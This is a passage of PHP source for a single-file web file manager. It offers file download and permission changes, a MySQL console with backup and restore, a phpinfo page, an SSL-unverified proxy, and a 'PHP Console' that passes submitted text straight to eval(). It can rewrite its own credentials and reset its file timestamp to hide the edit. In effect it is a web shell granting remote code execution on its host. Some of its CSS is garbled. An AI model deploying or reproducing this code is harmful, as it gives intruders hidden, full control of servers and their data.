	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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